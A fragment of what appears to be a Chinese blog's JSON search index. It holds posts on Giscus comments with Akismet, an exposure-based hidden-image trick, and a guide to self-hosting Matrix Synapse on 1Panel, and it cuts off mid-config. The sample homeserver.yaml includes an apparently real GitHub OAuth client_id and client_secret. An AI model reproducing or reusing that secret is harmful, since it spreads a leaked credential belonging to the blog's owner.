src=\"/posts/giscus-akismet/img/2025-08-04-12-22-07-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e特性按需勾选\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/giscus-akismet/img/2025-08-04-12-22-25-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e主题按喜好选择。更改后主题会立即呈现\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/giscus-akismet/img/2025-08-04-12-22-57-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e最后将这段JS复制，放置在你想作为评论区的区块即可\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/giscus-akismet/img/2025-08-04-12-23-41-image.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"配置akismet\"\u003e配置Akismet\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAkismet (Automattic Kismet) 是应用广泛的一个垃圾留言过滤系统，其作者是大名鼎鼎的 WordPress 创始人 Matt Mullenweg，Akismet 也是 WordPress 默认安装的插件，其使用非常广泛，设计目标便是帮助博客网站来过滤垃圾留言。\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e注册 \u003ca href=\"https://akismet.com/\"\u003eakismet.com\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e选择 Akismet Personal 订阅，将滑块拉到0$，记录得到的 Akismet API Key\u003c/p\u003e","title":"你是否在寻找一个评论系统而又不想自托管？又饱受垃圾评论的叨扰？"},{"content":"体验站点 https://imghide.2x.nz/\n视频教程： https://www.bilibili.com/video/BV1wdh3zYESe/\n原理 首先将原图嵌入，然后将隐藏图的亮度降至极低，并以棋盘排列嵌入原图\n最终生成的图片呈现一种灰色网格状\n默认只能看到原图，虽然隐藏图信息仍在，但是太黑了，人眼只会把他们当作黑色像素点处理\n当人为提高曝光后，原图过曝，趋于白色，丢失信息\n而隐藏图被拉亮，逐渐可见\n最终原图消失，而隐藏图完全显现\n","permalink":"https://blog.2x.nz/posts/hideimg/","summary":"\u003ch1 id=\"体验站点\"\u003e体验站点\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ca href=\"https://imghide.2x.nz/\"\u003ehttps://imghide.2x.nz/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e视频教程： \u003ca href=\"https://www.bilibili.com/video/BV1wdh3zYESe/\"\u003ehttps://www.bilibili.com/video/BV1wdh3zYESe/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"原理\"\u003e原理\u003c/h1\u003e\n\u003cp\u003e首先将原图嵌入，然后将隐藏图的亮度降至极低，并以棋盘排列嵌入原图\u003c/p\u003e\n\u003cp\u003e最终生成的图片呈现一种灰色网格状\u003c/p\u003e\n\u003cp\u003e默认只能看到原图，虽然隐藏图信息仍在，但是太黑了，人眼只会把他们当作黑色像素点处理\u003c/p\u003e\n\u003cp\u003e当人为提高曝光后，原图过曝，趋于白色，丢失信息\u003c/p\u003e\n\u003cp\u003e而隐藏图被拉亮，逐渐可见\u003c/p\u003e\n\u003cp\u003e最终原图消失，而隐藏图完全显现\u003c/p\u003e","title":"平平无奇的一张图，拉高曝光就能显现另一张图？"},{"content":"前置环境准备 由于Synapse、Matrix（下文简称”矩阵“）手搓部署非常麻烦。所以请安装 1Panel面板\n部署PostgreSQL 安装并创建名为 synapse 用户名也为 synapse 的数据库\n前往应用商店安装 PGAdmin4\n接着点击添加服务器\n相关信息可以在连接信息看到\n删除刚刚创建的 synapse 这个数据库\n重新创建同名数据库\n设置所有者（即用户名）为 synapse\n将 排序规则 和 字符类型 都改为 C\n部署Synapse 首先参照1Panel官方的教程去创建一个存储卷，否则安装 synapse 会失败\n安装 synapse\n导航到文件管理： /var/lib/docker/volumes/synapse-data/_data\n你应该可以看到\n编辑 homeserver.yaml ，并按需配置\nserver_name: \u0026#34;家服务器名称，比如：m.2x.nz\u0026#34; public_baseurl: \u0026#34;公共URL，比如：https://m.2x.nz\u0026#34; pid_file: /data/homeserver.pid serve_server_wellknown: true # 启用联邦 listeners: - port: 8008 tls: false type: http x_forwarded: true resources: - names: [client, federation] compress: false response_headers: Access-Control-Allow-Origin: \u0026#34;https://app.element.io\u0026#34; Access-Control-Allow-Methods: \u0026#34;GET, POST, OPTIONS\u0026#34; Access-Control-Allow-Headers: \u0026#34;Content-Type, Authorization\u0026#34; database: name: psycopg2 args: user: synapse password: 你的数据库密码 dbname: synapse host: 你的PostgreSQL的容器名称 cp_min: 5 cp_max: 10 log_config: \u0026#34;/data/my.matrix.host.log.config\u0026#34; media_store_path: /data/media_store registration_shared_secret: \u0026#34;这里的东西是随机生成的，每个人都不一样，请忽略这一块，并使用你的配置\u0026#34; macaroon_secret_key: \u0026#34;这里的东西是随机生成的，每个人都不一样，请忽略这一块，并使用你的配置\u0026#34; form_secret: \u0026#34;这里的东西是随机生成的，每个人都不一样，请忽略这一块，并使用你的配置\u0026#34; signing_key_path: \u0026#34;/data/my.matrix.host.signing.key\u0026#34; report_stats: false trusted_key_servers: - server_name: \u0026#34;matrix.org\u0026#34; # Github OAuth oidc_providers: - idp_id: github idp_name: Github idp_brand: \u0026#34;github\u0026#34; # optional: styling hint for clients discover: false issuer: \u0026#34;https://github.com/\u0026#34; client_id: \u0026#34;Ov23liaHxxYHybb0jRoZ\u0026#34; # TO BE FILLED client_secret: \u0026#34;e937f214ea7c132924ab34c76d83f4b7099d696e\u0026#34; # TO BE FILLED authorization_endpoint: \u0026#34;https://github.com/login/oauth/authorize\u0026#34; token_endpoint: \u0026#34;https://github.com/login/oauth/access_token\u0026#34; userinfo_endpoint: \u0026#34;https://api.github.com/user\u0026#34; scopes: [\u0026#34;read:user\u0026#34;] user_mapping_provider: config: subject_claim: \u0026#34;id\u0026#34; localpart_template: \u0026#34;{{ user.login }}\u0026#34; display_name_template: \u0026#34;{{ user.name }}\u0026#34; ### ✅ 邮件配置（确保SMTP验证正常） email: smtp_host: \u0026#34;你的SMTP发件服务器\u0026#34; smtp_port: 465 smtp_user: \u0026#34;你的发件邮箱\u0026#34; smtp_pass: \u0026#34;你的SMTP密码\u0026#34; force_tls: true notif_from: \u0026#34;Matrix \u0026lt;你的发件邮箱\u0026gt;\u0026#34; validation_token_lifetime: \u0026#34;5m\u0026#34; ### ✅ 启用注册 + 邮箱验证 + 密码找回 enable_registration: true registrations_require_3pid: - email registration_requires_token: false # 确保不强制邀请码注册（默认关闭） password_config: enabled: true ### ✅ 允许邮箱登录 login_via_existing_session: enabled: true rc_registration: per_second: 0.003 # 每秒允许的注册请求（例如：0.003 ≈ 每5分钟一次） burst_count: 1 # 同一IP地址的最大注册突发数 # 消息发送速率限制 rc_message: per_second: 0.2 # 每秒允许发送的消息数 burst_count: 10 # 突发消息缓冲区大小 # 房间加入速率限制 rc_joins: local: per_second: 0.1 # 本地用户加入房间的速率 burst_count: 10 remote: per_second: 0.01 # 远程用户加入房间的速率 burst_count: 10 # 媒体保留设置 media_retention: # 本地媒体文件的保留时间 local_media_lifetime: 90d # 远程媒体文件的保留时间（来自其他homeserver的媒体） remote_media_lifetime: 14d # 删除陈旧设备的时间 delete_stale_devices_after: 1y auto_join_rooms: - \u0026#34;#XXX:你的家服务器URL\u0026#34; # 需要自动加入的房间 按需配置，更多高级配置参阅： Homeserver Sample Config File - Synapse\n创建管理员账号 连接上容器的终端然后输入这串命令创建管理员账号\nregister_new_matrix_user http://localhost:8008 -c /data/homeserver.yaml -a -u 管理员用户名 -p 密码 开始聊天 前往 https://app.element.io 将家服务器改为你的（必须为HTTPS）\n通过刚刚创建的管理员账号登录\n其他人可以通过邮箱注册\n","permalink":"https://blog.2x.nz/posts/self-host-matrix/","summary":"\u003ch1 id=\"前置环境准备\"\u003e前置环境准备\u003c/h1\u003e\n\u003cp\u003e由于Synapse、Matrix（下文简称”矩阵“）手搓部署非常麻烦。所以请安装 \u003cstrong\u003e1Panel面板\u003c/strong\u003e\u003c/p\u003e\n\u003ch1 id=\"部署postgresql\"\u003e部署PostgreSQL\u003c/h1\u003e\n\u003cp\u003e安装并创建名为 \u003ccode\u003esynapse\u003c/code\u003e 用户名也为 \u003ccode\u003esynapse\u003c/code\u003e 的数据库\u003c/p\u003e\n\u003cp\u003e前往应用商店安装 \u003ccode\u003ePGAdmin4\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/self-host-matrix/img/2025-08-02-17-24-58-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接着点击添加服务器\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/self-host-matrix/img/2025-08-02-17-27-10-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e相关信息可以在连接信息看到\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/self-host-matrix/img/2025-08-02-17-27-53-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e删除\u003c/strong\u003e刚刚创建的 \u003ccode\u003esynapse\u003c/code\u003e 这个数据库\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/self-host-matrix/img/2025-08-02-17-28-49-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e重新创建同名数据库\u003c/p\u003e\n\u003cp\u003e设置所有者（即用户名）为 \u003ccode\u003esynapse\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/self-host-matrix/img/2025-08-02-17-29-36-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e将 \u003ccode\u003e排序规则\u003c/code\u003e 和 \u003ccode\u003e字符类型\u003c/code\u003e 都改为 \u003ccode\u003eC\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/self-host-matrix/img/2025-08-02-17-30-34-image.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"部署synapse\"\u003e部署Synapse\u003c/h1\u003e\n\u003cp\u003e首先参照1Panel官方的教程去创建一个存储卷，否则安装 \u003ccode\u003esynapse\u003c/code\u003e 会失败\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/self-host-matrix/img/2025-08-02-17-32-00-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e安装 \u003ccode\u003esynapse\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e导航到文件管理： \u003ccode\u003e/var/lib/docker/volumes/synapse-data/_data\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e你应该可以看到\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/self-host-matrix/img/2025-08-02-17-33-50-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e编辑 \u003ccode\u003ehomeserver.yaml\u003c/code\u003e ，并按需配置\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eserver_name\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;家服务器名称，比如：m.2x.nz\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003epublic_baseurl\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;公共URL，比如：https://m.2x.nz\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003epid_file\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e/data/homeserver.pid\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eserve_server_wellknown\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# 启用联邦\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003elisteners\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003eport\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e8008\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etls\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ehttp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ex_forwarded\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eresources\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003enames\u003c/span\u003e: [\u003cspan style=\"color:#ae81ff\"\u003eclient, federation]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ecompress\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eresponse_headers\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eAccess-Control-Allow-Origin\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://app.element.io\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eAccess-Control-Allow-Methods\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;GET, POST, OPTIONS\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eAccess-Control-Allow-Headers\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Content-Type, Authorization\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003edatabase\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003epsycopg2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eargs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003euser\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esynapse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epassword\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e你的数据库密码\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edbname\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esynapse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ehost\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e你的PostgreSQL的容器名称\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ecp_min\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ecp_max\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003elog_config\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/data/my.matrix.host.log.config\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003emedia_store_path\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e/data/media_store\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eregistration_shared_secret\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;这里的东西是随机生成的，每个人都不一样，请忽略这一块，并使用你的配置\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003emacaroon_secret_key\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;这里的东西是随机生成的，每个人都不一样，请忽略这一块，并使用你的配置\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eform_secret\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;这里的东西是随机生成的，每个人都不一样，请忽略这一块，并使用你的配置\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esigning_key_path\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/data/my.matrix.host.signing.key\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ereport_stats\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003etrusted_key_servers\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003eserver_name\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;matrix.org\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Github OAuth\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eoidc_providers\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003eidp_id\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003egithub\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eidp_name\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eGithub\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eidp_brand\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;github\u0026#34;\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# optional: styling hint for clients\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ediscover\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eissuer\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://github.com/\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eclient_id\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Ov23liaHxxYHybb0jRoZ\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# TO BE FILLED\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eclient_secret\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;e937f214ea7c132924ab34c76d83f4b7099d696e\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# TO BE FILLED\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eauthorization_endpoint\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://github.com/login/oauth/authorize\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etoken_endpoint\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://github.com/login/oauth/access_token\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003euserinfo_endpoint\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://api.github.com/user\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003escopes\u003c/span\u003e: [\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;read:user\u0026#34;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003euser_mapping_provider\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econfig\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esubject_claim\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;id\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003elocalpart_template\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;{{ user.login }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edisplay_name_template\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;{{ user.name }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e### ✅ 邮件配置（确保SMTP验证正常）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eemail\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esmtp_host\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;你的SMTP发件服务器\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esmtp_port\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e465\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esmtp_user\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;你的发件邮箱\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esmtp_pass\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;你的SMTP密码\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eforce_tls\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003enotif_from\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Matrix \u0026lt;你的发件邮箱\u0026gt;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003evalidation_token_lifetime\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;5m\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e### ✅ 启用注册 + 邮箱验证 + 密码找回\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eenable_registration\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eregistrations_require_3pid\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003eemail\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eregistration_requires_token\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e   \u003cspan style=\"color:#75715e\"\u003e# 